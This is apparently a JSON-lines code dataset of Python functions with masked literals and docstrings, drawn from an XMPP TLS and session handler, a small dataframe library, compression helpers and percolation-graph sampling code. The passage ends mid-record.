{"signature": "def _make_tls_connection(self):", "body": "logger.debug(\"<STR_LIT>\")<EOL>if self.settings[\"<STR_LIT>\"]:<EOL><INDENT>cert_reqs = ssl.CERT_REQUIRED<EOL><DEDENT>else:<EOL><INDENT>cert_reqs = ssl.CERT_NONE<EOL><DEDENT>self.stream.transport.starttls(<EOL>keyfile = self.settings[\"<STR_LIT>\"],<EOL>certfile = self.settings[\"<STR_LIT>\"],<EOL>server_side = not self.stream.initiator,<EOL>cert_reqs = cert_reqs,<EOL>ssl_version = ssl.PROTOCOL_TLSv1,<EOL>ca_certs = self.settings[\"<STR_LIT>\"],<EOL>do_handshake_on_connect = False,<EOL>)<EOL>", "docstring": "Initiate TLS connection.\n\n        [initiating entity only]", "id": "f15316:c0:m7"}
{"signature": "@event_handler(TLSConnectedEvent)<EOL><INDENT>def handle_tls_connected_event(self, event):<DEDENT>", "body": "if self.settings[\"<STR_LIT>\"]:<EOL><INDENT>valid = self.settings[\"<STR_LIT>\"](event.stream,<EOL>event.peer_certificate)<EOL>if not valid:<EOL><INDENT>raise SSLError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>event.stream.tls_established = True<EOL>with event.stream.lock:<EOL><INDENT>event.stream._restart_stream()<EOL><DEDENT>", "docstring": "Verify the peer certificate on the `TLSConnectedEvent`.", "id": "f15316:c0:m8"}
{"signature": "@staticmethod<EOL><INDENT>def is_certificate_valid(stream, cert):<DEDENT>", "body": "try:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(cert))<EOL>if not cert:<EOL><INDENT>logger.warning(\"<STR_LIT>\")<EOL>return False<EOL><DEDENT>if not cert.validated:<EOL><INDENT>logger.warning(\"<STR_LIT>\")<EOL>return False<EOL><DEDENT>srv_type = stream.transport._dst_service <EOL>if cert.verify_server(stream.peer, srv_type):<EOL><INDENT>logger.debug(\"<STR_LIT>\"<EOL>.format(stream.peer))<EOL>return True<EOL><DEDENT>else:<EOL><INDENT>logger.debug(\"<STR_LIT>\"<EOL>.format(stream.peer))<EOL>return False<EOL><DEDENT><DEDENT>except:<EOL><INDENT>logger.exception(\"<STR_LIT>\")<EOL>raise<EOL><DEDENT>", "docstring": "Default certificate verification callback for TLS connections.\n\n        :Parameters:\n            - `cert`: certificate information\n        :Types:\n            - `cert`: `CertificateData`\n\n        :return: computed verification result.", "id": "f15316:c0:m9"}
{"signature": "@property<EOL><INDENT>def xmpp_name(self):<DEDENT>", "body": "return self.args[<NUM_LIT:0>]<EOL>", "docstring": "XMPP error name which should be reported", "id": "f15317:c26:m1"}
{"signature": "@property<EOL><INDENT>def message(self):<DEDENT>", "body": "return self.args[<NUM_LIT:1>]<EOL>", "docstring": "The error message.", "id": "f15317:c26:m2"}
{"signature": "def log_reported(self):", "body": "self.logger_reported.debug(u\"<STR_LIT>\"<EOL>.format(self.message))<EOL>", "docstring": "Log message via the \"pyxmpp.ProtocolError.reported\" logger.", "id": "f15317:c26:m3"}
{"signature": "def log_ignored(self):", "body": "self.logger_ignored.debug(u\"<STR_LIT>\"<EOL>.format(self.message))<EOL>", "docstring": "Log message via the \"pyxmpp.ProtocolError.ignored\" logger.", "id": "f15317:c26:m4"}
{"signature": "def __init__(self):", "body": "super(SessionHandler, self).__init__()<EOL>", "docstring": "Initialize the SASL handler", "id": "f15318:c0:m0"}
{"signature": "@event_handler(AuthorizedEvent)<EOL><INDENT>def handle_authorized(self, event):<DEDENT>", "body": "stream = event.stream<EOL>if not stream:<EOL><INDENT>return<EOL><DEDENT>if not stream.initiator:<EOL><INDENT>return<EOL><DEDENT>if stream.features is None:<EOL><INDENT>return<EOL><DEDENT>element = stream.features.find(SESSION_TAG)<EOL>if element is None:<EOL><INDENT>return<EOL><DEDENT>logger.debug(\"<STR_LIT>\")<EOL>stanza = Iq(stanza_type = \"<STR_LIT>\")<EOL>payload = XMLPayload(ElementTree.Element(SESSION_TAG))<EOL>stanza.set_payload(payload)<EOL>self.stanza_processor.set_response_handlers(stanza,<EOL>self._session_success,<EOL>self._session_error)<EOL>stream.send(stanza)<EOL>", "docstring": "Send session esteblishment request if the feature was advertised by\n        the server.", "id": "f15318:c0:m3"}
{"signature": "def _session_success(self, stanza):", "body": "<EOL>logger.debug(\"<STR_LIT>\")<EOL>", "docstring": "Handle session establishment success.\n\n        [initiating entity only]\n\n        :Parameters:\n            - `stanza`: <iq type=\"result\"/> stanza received.", "id": "f15318:c0:m4"}
{"signature": "def _session_error(self, stanza): ", "body": "raise FatalStreamError(\"<STR_LIT>\")<EOL>", "docstring": "Handle resource session establishment error.\n\n        [initiating entity only]\n\n        :raise FatalStreamError:", "id": "f15318:c0:m5"}
{"signature": "@iq_set_stanza_handler(XMLPayload, SESSION_TAG)<EOL><INDENT>def handle_bind_iq_set(self, stanza):<DEDENT>", "body": "<EOL>logger.debug(\"<STR_LIT>\")<EOL>return stanza.make_result_response()<EOL>", "docstring": "Handler <iq type=\"set\"/> for session establishment.", "id": "f15318:c0:m6"}
{"signature": "def row(self, idx):", "body": "return DataFrameRow(idx, [x[idx] for x in self], self.colnames)<EOL>", "docstring": "Returns DataFrameRow of the DataFrame given its index.\n\n:param idx: the index of the row in the DataFrame.\n:return: returns a DataFrameRow", "id": "f15328:c0:m8"}
{"signature": "def __init__(self, **kwargs):", "body": "self.__data_columns = DataFrameColumnSet(**kwargs)<EOL>", "docstring": "Constructor for DataFrame.\n\n:param kwargs: standard named vargs argument, i.e. list of named lists\n:type kwargs: list of named lists\n:return: returns a new DataFrame object\n:rtype: DataFrame", "id": "f15329:c0:m0"}
{"signature": "def __iter__(self):", "body": "for i in range(self.nrow):<EOL><INDENT>yield self.__row(i)<EOL><DEDENT>", "docstring": "Iterator implementation for DataFrame.\nEvery iteration yields one row of the DataFrame.\n\n:return: returns a row from the DataFrame\n:rtype: DataFrameRow", "id": "f15329:c0:m1"}
{"signature": "def __getitem__(self, item):", "body": "if isinstance(item, str) and item in self.colnames:<EOL><INDENT>return self.__data_columns[self.colnames.index(item)]<EOL><DEDENT>elif isinstance(item, int):<EOL><INDENT>return self.__row(item)<EOL><DEDENT>elif isinstance(item, slice):<EOL><INDENT>return self.__rows(list(range(*item.indices(self.nrow))))<EOL><DEDENT>elif isinstance(item, tuple):<EOL><INDENT>return self.__rows(list(item))<EOL><DEDENT>elif isinstance(item, list):<EOL><INDENT>return self.__rows(item)<EOL><DEDENT>return None<EOL>", "docstring": "Getter method for DataFrame. Returns the column with name item.\n\n:param item: the name of a column\n:type item: str\n:return: returns a column from the DataFrame\n:rtype: DataFrameColumn", "id": "f15329:c0:m2"}
{"signature": "def __repr__(self):", "body": "return self.__str__()<EOL>", "docstring": "String representation of DataFrame when print is called.\n\n:return: returns the string representation\n:rtype: str", "id": "f15329:c0:m3"}
{"signature": "def __str__(self):", "body": "return self.__data_columns.__str__()<EOL>", "docstring": "ToString method for DataFrame.\n\n:return: returns the string representation\n:rtype: str", "id": "f15329:c0:m4"}
{"signature": "def aggregate(self, clazz, new_col, *args):", "body": "if is_callable(clazz) and not is_none(new_col) and has_elements(*args):<EOL><INDENT>return self.__do_aggregate(clazz, new_col, *args)<EOL><DEDENT>", "docstring": "Aggregate the rows of the DataFrame into a single value.\n\n:param clazz: name of a class that extends class Callable\n:type clazz: class\n:param new_col: name of the new column\n:type new_col: str\n:param args: list of column names of the object that function \nshould be applied to\n:type args: tuple\n:return: returns a new dataframe object with the aggregated value\n:rtype: DataFrame", "id": "f15329:c0:m6"}
{"signature": "def subset(self, *args):", "body": "cols = {}<EOL>for k in self.colnames:<EOL><INDENT>if k in args:<EOL><INDENT>cols[str(k)] =self.__data_columns[self.colnames.index(k)].values<EOL><DEDENT><DEDENT>return DataFrame(**cols)<EOL>", "docstring": "Subset only some of the columns of the DataFrame.\n\n:param args: list of column names of the object that should be subsetted\n:type args: tuple\n:return: returns dataframe with only the columns you selected\n:rtype: DataFrame", "id": "f15329:c0:m8"}
{"signature": "def group(self, *args):", "body": "return dataframe.GroupedDataFrame(self, *args)<EOL>", "docstring": "Group the dataframe into row-subsets.\n\n:param args: list of column names taht should be used for grouping\n:type args: tuple\n:return: returns a dataframe that has grouping information\n:rtype: GroupedDataFrame", "id": "f15329:c0:m9"}
{"signature": "def modify(self, clazz, new_col, *args):", "body": "if is_callable(clazz) and not is_none(new_col) and has_elements(*args):<EOL><INDENT>return self.__do_modify(clazz, new_col, *args)<EOL><DEDENT>", "docstring": "Modify some columns (i.e. apply a function) and add the\nresult to the table.\n\n:param clazz: name of a class that extends class Callable\n:type clazz: class\n:param new_col: name of the new column\n:type new_col: str\n:param args: list of column names of the object that\nfunction should be applied to\n:type args: tuple\n:return: returns a new dataframe object with the modiefied values,\n i.e. the new column\n:rtype: DataFrame", "id": "f15329:c0:m10"}
{"signature": "@property<EOL><INDENT>def nrow(self):<DEDENT>", "body": "return self.__data_columns.nrow<EOL>", "docstring": "Getter for the number of rows in the DataFrame.\n\n:return: returns the number of rows\n:rtype: int", "id": "f15329:c0:m12"}
{"signature": "@property<EOL><INDENT>def ncol(self):<DEDENT>", "body": "return self.__data_columns.ncol<EOL>", "docstring": "Getter for the number of columns in the DataFrame.\n\n:return: returns the number of columns\n:rtype: int", "id": "f15329:c0:m13"}
{"signature": "@property<EOL><INDENT>def colnames(self):<DEDENT>", "body": "return self.__data_columns.colnames<EOL>", "docstring": "Getter for the columns names of the DataFrame.\n\n:return: returns a list of column names\n:rtype: list(str)", "id": "f15329:c0:m14"}
{"signature": "def which_colnames(self, *args):", "body": "return self.__data_columns.which_colnames(*args)<EOL>", "docstring": "Computes the indexes of the columns in the DataFrame.\n\n:param args: list of column names\n:type args: tuple\n:return: returns a list of indexes\n:rtype: list(int)", "id": "f15329:c0:m15"}
{"signature": "def cbind(self, **kwargs):", "body": "self.__data_columns.cbind(**kwargs)<EOL>return self<EOL>", "docstring": "Bind a column to the DataFrame.\n\n:param kwargs: named list of elements you want to add\n:type kwargs: keyword tuple\n:return: self\n:rtype: DataFrame", "id": "f15329:c0:m16"}
{"signature": "@property<EOL><INDENT>def idx(self):<DEDENT>", "body": "return self.__idx<EOL>", "docstring": "Getter for the index of the DataFrameRow.\n\n:return: returns the index of the row", "id": "f15330:c0:m6"}
{"signature": "def __init__(self, piping_method, *args):", "body": "self.__piping_method = piping_method<EOL>if args and isinstance(args[<NUM_LIT:0>], dataframe.DataFrame):<EOL><INDENT>raise PipingException(\"<STR_LIT>\")<EOL><DEDENT>elif not args:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>self.__args = args<EOL><DEDENT>", "docstring": "Constructor for chainable. Takes a tuple which is either a dataframe\nand column names to group by or only the column names\n\n:param args: tuple of params", "id": "f15331:c1:m0"}
{"signature": "def size(self):", "body": "return len(self.__vals)<EOL>", "docstring": "Getter for number if items in the column.\n\n:return: returns the number of items", "id": "f15333:c0:m1"}
{"signature": "@property<EOL><INDENT>def values(self):<DEDENT>", "body": "return self.__vals<EOL>", "docstring": "Getter for the column values.\n\n:return: returns the values of the column", "id": "f15333:c0:m2"}
{"signature": "@property<EOL><INDENT>def colname(self):<DEDENT>", "body": "return self.__colname<EOL>", "docstring": "Getter for the column name.\n\n:return: returns the column name", "id": "f15333:c0:m3"}
{"signature": "def group(*args):", "body": "if args and isinstance(args[<NUM_LIT:0>], dataframe.DataFrame):<EOL><INDENT>return args[<NUM_LIT:0>].group(*args[<NUM_LIT:1>:])<EOL><DEDENT>elif not args:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>return pipeable.Pipeable(pipeable.PipingMethod.GROUP, *args)<EOL><DEDENT>", "docstring": "Pipeable grouping method.\n\nTakes either\n  - a dataframe and a tuple of strings for grouping,\n  - a tuple of strings if a dataframe has already been piped into.\n\n:Example:\n\ngroup(dataframe, \"column\")\n\n:Example:\n\ndataframe >> group(\"column\")\n\n:param args: tuple of arguments\n:type args: tuple\n:return: returns a grouped dataframe object\n:rtype: GroupedDataFrame", "id": "f15334:m0"}
{"signature": "def aggregate(*args):", "body": "if args and isinstance(args[<NUM_LIT:0>], dataframe.DataFrame):<EOL><INDENT>return args[<NUM_LIT:0>].aggregate(args[<NUM_LIT:1>], args[<NUM_LIT:2>], *args[<NUM_LIT:3>:])<EOL><DEDENT>elif not args:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>return pipeable.Pipeable(pipeable.PipingMethod.AGGREGATE, *args)<EOL><DEDENT>", "docstring": "Pipeable aggregation method.\n\nTakes either \n - a dataframe and a tuple of arguments required for aggregation,\n - a tuple of arguments if a dataframe has already been piped into.\nIn any case one argument has to be a class that extends callable.\n\n:Example:\n\naggregate(dataframe, Function, \"new_col_name\", \"old_col_name\")\n\n:Example:\n\ndataframe >> aggregate(Function, \"new_col_name\", \"old_col_name\")\n\n:param args: tuple of arguments\n:type args: tuple\n:return: returns a dataframe object\n:rtype: DataFrame", "id": "f15334:m1"}
{"signature": "def subset(*args):", "body": "if args and isinstance(args[<NUM_LIT:0>], dataframe.DataFrame):<EOL><INDENT>return args[<NUM_LIT:0>].subset(*args[<NUM_LIT:1>:])<EOL><DEDENT>elif not args:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>return pipeable.Pipeable(pipeable.PipingMethod.SUBSET, *args)<EOL><DEDENT>", "docstring": "Pipeable subsetting method.\n\nTakes either\n - a dataframe and a tuple of arguments required for subsetting,\n - a tuple of arguments if a dataframe has already been piped into.\n\n:Example:\n\nsubset(dataframe, \"column\")\n\n:Example:\n\ndataframe >> subset(\"column\")\n\n:param args: tuple of arguments\n:type args: tuple\n:return: returns a dataframe object\n:rtype: DataFrame", "id": "f15334:m2"}
{"signature": "def modify(*args):", "body": "if args and isinstance(args[<NUM_LIT:0>], dataframe.DataFrame):<EOL><INDENT>return args[<NUM_LIT:0>].modify(args[<NUM_LIT:1>], args[<NUM_LIT:2>], *args[<NUM_LIT:3>:])<EOL><DEDENT>elif not args:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>return pipeable.Pipeable(pipeable.PipingMethod.MODIFY, *args)<EOL><DEDENT>", "docstring": "Pipeable modification method \n\nTakes either \n - a dataframe and a tuple of arguments required for modification,\n - a tuple of arguments if a dataframe has already been piped into.\nIn any case one argument has to be a class that extends callable.\n\n:Example:\n\nmodify(dataframe, Function, \"new_col_name\", \"old_col_name\")\n\n:Example:\n\ndataframe >> modify(Function, \"new_col_name\", \"old_col_name\")\n\n:param args: tuple of arguments\n:type args: tuple\n:return: returns a dataframe object\n:rtype: DataFrame", "id": "f15334:m3"}
{"signature": "@property<EOL><INDENT>def get_value(self):<DEDENT>", "body": "return self.__value<EOL>", "docstring": "Getter for the value of the node.\n\n:return: returns the value of the node", "id": "f15335:c0:m3"}
{"signature": "def add_child(self, node):", "body": "self.__children[node.__id] = node<EOL>", "docstring": "Add a child to the node.\n\n:param node: the node to be added as child", "id": "f15335:c0:m5"}
{"signature": "def has_child(self, val):", "body": "return val in self.__children<EOL>", "docstring": "Checks if the node has a child with a given value.\n\n:param val: value of the child to be tested\n:return: returns true if the node has the child with value val", "id": "f15335:c0:m6"}
{"signature": "def find(self, *args):", "body": "curr_node = self.__root<EOL>return self.__traverse(curr_node, <NUM_LIT:0>,  *args)<EOL>", "docstring": "Find a node in the tree. If the node is not found it is added first and then returned.\n\n:param args: a tuple\n:return: returns the node", "id": "f15337:c0:m1"}
{"signature": "def idx(self):", "body": "self.__grp_idx += <NUM_LIT:1><EOL>return self.__grp_idx<EOL>", "docstring": "Getter and incrementer for idx. Increases the current index by one and returns it.\n\n:return: returns the current index", "id": "f15337:c0:m3"}
{"signature": "def __getitem__(self, item):", "body": "if isinstance(item, str) and item in self.__data_columns.colnames:<EOL><INDENT>return self.__data_columns[self.__data_columns.colnames.index(item)]<EOL><DEDENT>raise TypeError(\"<STR_LIT>\" +<EOL>\"<STR_LIT>\")<EOL>", "docstring": "Getter method for DataFrame. Returns the column with name item.\n\n:param item: the name of a column\n:type item: str\n:return: returns a column from the DataFrame\n:rtype: DataFrameColumn", "id": "f15338:c0:m1"}
{"signature": "@property<EOL><INDENT>def grouping_colnames(self):<DEDENT>", "body": "return self.__grouping_colnames<EOL>", "docstring": "Getter for the grouping column names.\n\n:return: returns the grouping column names", "id": "f15338:c0:m6"}
{"signature": "def __call__(self, *args):", "body": "pass<EOL>", "docstring": "Call method. Is used when object is called like this: object()\n\n:param args: tuple of columns\n:type args: tuple\n:return: returns a list/scalar\n:rtype: list(any)/scalar", "id": "f15339:c0:m0"}
{"signature": "def __str__(self):", "body": "return self.__grouping.__str__()<EOL>", "docstring": "ToString method for GroupedDataFrame.\n\n:return: returns the string representation\n:rtype: str", "id": "f15342:c0:m2"}
{"signature": "@property<EOL><INDENT>def colnames(self):<DEDENT>", "body": "return self.__grouping.ungroup().colnames<EOL>", "docstring": "Getter for the column names of the DataFrame.\n\n:return: returns column names\n:rtype: list(str)", "id": "f15342:c0:m5"}
{"signature": "@property<EOL><INDENT>def groups(self):<DEDENT>", "body": "return self.__grouping.groups<EOL>", "docstring": "Getter for all groups.\n\n:return: returns the groups\n:rtype: list(DataFrameGroup)", "id": "f15342:c0:m6"}
{"signature": "def ungroup(self):", "body": "return self.__grouping.ungroup()<EOL>", "docstring": "Undo the grouping and return the DataFrame.\n\n:return: returns the original DataFrame\n:rtype: DataFrame", "id": "f15342:c0:m7"}
{"signature": "def subset(self, *args):", "body": "args = list(args)<EOL>args.extend([x for x in<EOL>self.__grouping.grouping_colnames if x not in args])<EOL>return GroupedDataFrame(self.__grouping.ungroup().subset(*args),<EOL>*self.__grouping.grouping_colnames)<EOL>", "docstring": "Subset only some of the columns of the DataFrame.\n\n:param args: list of column names of the object that should be subsetted\n:type args: tuple\n:return: returns DataFrame with only the columns you selected\n:rtype: DataFrame", "id": "f15342:c0:m8"}
{"signature": "def group(self, *args):", "body": "args = list(args)<EOL>args.extend([x for x in<EOL>self.__grouping.grouping_colnames if x not in args])<EOL>return GroupedDataFrame(self.__grouping.ungroup(), *args)<EOL>", "docstring": "Group the DataFrame into row-subsets.\n\n:param args: list of column names taht should be used for grouping\n:type args: tuple\n:return: returns a dataframe that has grouping information\n:rtype: GroupedDataFrame", "id": "f15342:c0:m9"}
{"signature": "def modify(self, clazz, new_col, *args):", "body": "if is_callable(clazz)and not is_none(new_col)and has_elements(*args)and is_disjoint(self.__grouping.grouping_colnames,<EOL>args,<EOL>__DISJOINT_SETS_ERROR__):<EOL><INDENT>return self.__do_modify(clazz, new_col, *args)<EOL><DEDENT>", "docstring": "Modify some columns (i.e. apply a function)\n and add the result to the table.\n\n:param clazz: name of a class that extends class Callable\n:type clazz: class\n:param new_col: name of the new column\n:type new_col: str\n:param args: list of column names of the object that\n function should be applied to\n:type args: tuple\n:return: returns a new GroupedDataFrame object with the modified\n  values, i.e. the new column of values\n:rtype: GroupedDataFrame", "id": "f15342:c0:m10"}
{"signature": "def aggregate(self, clazz, new_col, *args):", "body": "if is_callable(clazz)and not is_none(new_col)and has_elements(*args)and is_disjoint(self.__grouping.grouping_colnames,<EOL>args,<EOL>__DISJOINT_SETS_ERROR__):<EOL><INDENT>return self.__do_aggregate(clazz, new_col, *args)<EOL><DEDENT>", "docstring": "Aggregate the rows of each group into a single value.\n\n:param clazz: name of a class that extends class Callable\n:type clazz: class\n:param new_col: name of the new column\n:type new_col: str\n:param args: list of column names of the object that\n function should be applied to\n:type args: varargs\n:return: returns a new dataframe object with the aggregated value\n:rtype: DataFrame", "id": "f15342:c0:m12"}
{"signature": "def is_callable(func):", "body": "if not issubclass(func, dataframe.Callable):<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>return True<EOL>", "docstring": "Check if a function extends callable.\n\n:param func: the function to be checked\n:return: returns true if the function is callable", "id": "f15343:m0"}
{"signature": "def is_none(val):", "body": "if val is None:<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>return False<EOL>", "docstring": "Check if a value is None.\n\n:param val: the value to be tested\n:return: returns false if the value is not none", "id": "f15343:m1"}
{"signature": "def has_elements(*args):", "body": "if not args:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>return True<EOL>", "docstring": "Check if args has elements.\n\n:param args: a tuple\n:return: returns true if args has elements", "id": "f15343:m2"}
{"signature": "def is_disjoint(set1, set2, warn):", "body": "for elem in set2:<EOL><INDENT>if elem in set1:<EOL><INDENT>raise ValueError(warn)<EOL><DEDENT><DEDENT>return True<EOL>", "docstring": "Checks if elements of set2 are in set1.\n\n:param set1: a set of values\n:param set2: a set of values\n:param warn: the error message that should be thrown\n when the sets are NOT disjoint\n:return: returns true no elements of set2 are in set1", "id": "f15343:m3"}
{"signature": "def contains_all(set1, set2, warn):", "body": "for elem in set2:<EOL><INDENT>if elem not in set1:<EOL><INDENT>raise ValueError(warn)<EOL><DEDENT><DEDENT>return True<EOL>", "docstring": "Checks if all elements from set2 are in set1.\n\n:param set1:  a set of values\n:param set2:  a set of values\n:param warn: the error message that should be thrown \n when the sets are not containd\n:return: returns true if all values of set2 are in set1", "id": "f15343:m4"}
{"signature": "@property<EOL><INDENT>def grouping_colnames(self):<DEDENT>", "body": "return self.__grouping_col_names<EOL>", "docstring": "Getter for the grouping column names.\n\n:return: returns the grouping column names", "id": "f15344:c0:m4"}
{"signature": "@property<EOL><INDENT>def groups(self):<DEDENT>", "body": "return self.__groups.values()<EOL>", "docstring": "Getter the values of the group dictionary, i.e. the Group objects\n\n:return: returns the groupings of the rows\n:rtype: list(DataFrameGroup)", "id": "f15344:c0:m5"}
{"signature": "def ungroup(self):", "body": "return self.__dataframe<EOL>", "docstring": "Getter for the normal DataFrame object without grouping information.\n\n:return: returns the ungrouped DataFrame\n:rtype: DataFrame", "id": "f15344:c0:m6"}
{"signature": "def pickle(obj, filepath):", "body": "arr = pkl.dumps(obj, -<NUM_LIT:1>)<EOL>with open(filepath, '<STR_LIT:wb>') as f:<EOL><INDENT>s = <NUM_LIT:0><EOL>while s < len(arr):<EOL><INDENT>e = min(s + blosc.MAX_BUFFERSIZE, len(arr))<EOL>carr = blosc.compress(arr[s:e], typesize=<NUM_LIT:8>)<EOL>f.write(carr)<EOL>s = e<EOL><DEDENT><DEDENT>", "docstring": "Pickle and compress.", "id": "f15348:m0"}
{"signature": "def unpickle(filepath):", "body": "arr = []<EOL>with open(filepath, '<STR_LIT:rb>') as f:<EOL><INDENT>carr = f.read(blosc.MAX_BUFFERSIZE)<EOL>while len(carr) > <NUM_LIT:0>:<EOL><INDENT>arr.append(blosc.decompress(carr))<EOL>carr = f.read(blosc.MAX_BUFFERSIZE)<EOL><DEDENT><DEDENT>return pkl.loads(b\"<STR_LIT>\".join(arr))<EOL>", "docstring": "Decompress and unpickle.", "id": "f15348:m1"}
{"signature": "def task_download_bib():", "body": "return {<EOL>'<STR_LIT>': ['<STR_LIT:U+0020>'.join([<EOL>'<STR_LIT>', '<STR_LIT>', BIBFILE,<EOL>'<STR_LIT>'.format(CITEULIKE_GROUP),<EOL>])],<EOL>'<STR_LIT>': [BIBFILE],<EOL>}<EOL>", "docstring": "Download bibliography from CiteULike group", "id": "f15351:m0"}
{"signature": "def percolation_graph(graph, spanning_cluster=True):", "body": "ret = dict()<EOL>ret['<STR_LIT>'] = graph<EOL>ret['<STR_LIT>'] = bool(spanning_cluster)<EOL>if spanning_cluster:<EOL><INDENT>spanning_auxiliary_node_attributes = nx.get_node_attributes(<EOL>graph, '<STR_LIT>'<EOL>)<EOL>ret['<STR_LIT>'] = spanning_auxiliary_node_attributes<EOL>auxiliary_nodes = spanning_auxiliary_node_attributes.keys()<EOL>if not list(auxiliary_nodes):<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>)<EOL><DEDENT>spanning_sides = list(set(spanning_auxiliary_node_attributes.values()))<EOL>if len(spanning_sides) != <NUM_LIT:2>:<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>)<EOL><DEDENT>ret['<STR_LIT>'] = spanning_sides<EOL>ret['<STR_LIT>'] = nx.get_edge_attributes(<EOL>graph, '<STR_LIT>'<EOL>)<EOL><DEDENT>if spanning_cluster:<EOL><INDENT>perc_graph = graph.subgraph(<EOL>[<EOL>node for node in graph.nodes_iter()<EOL>if '<STR_LIT>' not in graph.node[node]<EOL>]<EOL>)<EOL><DEDENT>else:<EOL><INDENT>perc_graph = graph<EOL><DEDENT>ret['<STR_LIT>'] = perc_graph<EOL>ret['<STR_LIT>'] = nx.number_of_nodes(perc_graph)<EOL>ret['<STR_LIT>'] = nx.number_of_edges(perc_graph)<EOL>return ret<EOL>", "docstring": "Prepare the (internal) percolation graph from a given graph\n\nHelper function to prepare the given graph for spanning cluster detection\n(if required).\nBasically it strips off the auxiliary nodes and edges again.\nIt also returns fundamental graph quantitities (number of nodes and edges).\n\nParameters\n----------\ngraph\nspanning_cluster\n\nReturns\n-------\nret : tuple", "id": "f15353:m0"}
{"signature": "def sample_states(<EOL>graph, spanning_cluster=True, model='<STR_LIT>', copy_result=True<EOL>):", "body": "if model != '<STR_LIT>':<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if spanning_cluster:<EOL><INDENT>auxiliary_node_attributes = nx.get_node_attributes(graph, '<STR_LIT>')<EOL>auxiliary_nodes = auxiliary_node_attributes.keys()<EOL>if not list(auxiliary_nodes):<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>)<EOL><DEDENT>spanning_sides = list(set(auxiliary_node_attributes.values()))<EOL>if len(spanning_sides) != <NUM_LIT:2>:<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>)<EOL><DEDENT>auxiliary_edge_attributes = nx.get_edge_attributes(graph, '<STR_LIT>')<EOL><DEDENT>if spanning_cluster:<EOL><INDENT>perc_graph = graph.subgraph(<EOL>[<EOL>node for node in graph.nodes_iter()<EOL>if '<STR_LIT>' not in graph.node[node]<EOL>]<EOL>)<EOL><DEDENT>else:<EOL><INDENT>perc_graph = graph<EOL><DEDENT>perc_edges = perc_graph.edges()<EOL>num_nodes = nx.number_of_nodes(perc_graph)<EOL>num_edges = nx.number_of_edges(perc_graph)<EOL>ret = dict()<EOL>ret['<STR_LIT:n>'] = <NUM_LIT:0><EOL>ret['<STR_LIT:N>'] = num_nodes<EOL>ret['<STR_LIT:M>'] = num_edges<EOL>ret['<STR_LIT>'] = <NUM_LIT:1><EOL>ret['<STR_LIT>'] = np.ones(<NUM_LIT:5>) * (num_nodes - <NUM_LIT:1>)<EOL>if spanning_cluster:<EOL><INDENT>ret['<STR_LIT>'] = False<EOL><DEDENT>if copy_result:<EOL><INDENT>yield copy.deepcopy(ret)<EOL><DEDENT>else:<EOL><INDENT>yield ret<EOL><DEDENT>perm_edges = np.random.permutation(num_edges)<EOL>ds = nx.utils.union_find.UnionFind()<EOL>if spanning_cluster:<EOL><INDENT>ds_spanning = nx.utils.union_find.UnionFind()<EOL>side_roots = dict()<EOL>for side in spanning_sides:<EOL><INDENT>nodes = [<EOL>node for (node, node_side) in auxiliary_node_attributes.items()<EOL>if node_side is side<EOL>]<EOL>ds_spanning.union(*nodes)<EOL>side_roots[side] = ds_spanning[nodes[<NUM_LIT:0>]]<EOL><DEDENT>for (edge, edge_side) in auxiliary_edge_attributes.items():<EOL><INDENT>ds_spanning.union(side_roots[edge_side], *edge)<EOL><DEDENT>side_roots = [<EOL>ds_spanning[side_root] for side_root in side_roots.values()<EOL>]<EOL><DEDENT>max_cluster_root = next(perc_graph.nodes_iter())<EOL>for n in range(num_edges):<EOL><INDENT>ret['<STR_LIT:n>'] = n + <NUM_LIT:1><EOL>edge_index = perm_edges[n]<EOL>edge = perc_edges[edge_index]<EOL>ret['<STR_LIT>'] = edge<EOL>roots = [<EOL>ds[node] for node in edge<EOL>]<EOL>weights = [<EOL>ds.weights[root] for root in roots<EOL>]<EOL>if roots[<NUM_LIT:0>] is not roots[<NUM_LIT:1>]:<EOL><INDENT>ds.union(*roots)<EOL>if spanning_cluster:<EOL><INDENT>ds_spanning.union(*roots)<EOL>ret['<STR_LIT>'] = (<EOL>ds_spanning[side_roots[<NUM_LIT:0>]] == ds_spanning[side_roots[<NUM_LIT:1>]]<EOL>)<EOL><DEDENT>root = ds[edge[<NUM_LIT:0>]]<EOL>weight = ds.weights[root]<EOL>for i in [<NUM_LIT:0>, <NUM_LIT:1>]:<EOL><INDENT>if roots[i] is max_cluster_root:<EOL><INDENT>continue<EOL><DEDENT>ret['<STR_LIT>'] -= weights[i] ** np.arange(<NUM_LIT:5>)<EOL><DEDENT>if max_cluster_root in roots:<EOL><INDENT>max_cluster_root = root<EOL>ret['<STR_LIT>'] = weight<EOL><DEDENT>else:<EOL><INDENT>if ret['<STR_LIT>'] >= weight:<EOL><INDENT>ret['<STR_LIT>'] += weight ** np.arange(<NUM_LIT:5>)<EOL><DEDENT>else:<EOL><INDENT>max_cluster_root = root<EOL>ret['<STR_LIT>'] += ret['<STR_LIT>'] ** np.arange(<NUM_LIT:5>)<EOL>ret['<STR_LIT>'] = weight<EOL><DEDENT><DEDENT><DEDENT>if copy_result:<EOL><INDENT>yield copy.deepcopy(ret)<EOL><DEDENT>else:<EOL><INDENT>yield ret<EOL><DEDENT><DEDENT>", "docstring": "Generate successive sample states of the percolation model\n\nThis is a :ref:`generator function <python:tut-generators>` to successively\nadd one edge at a time from the graph to the percolation model.\nAt each iteration, it calculates and returns the cluster 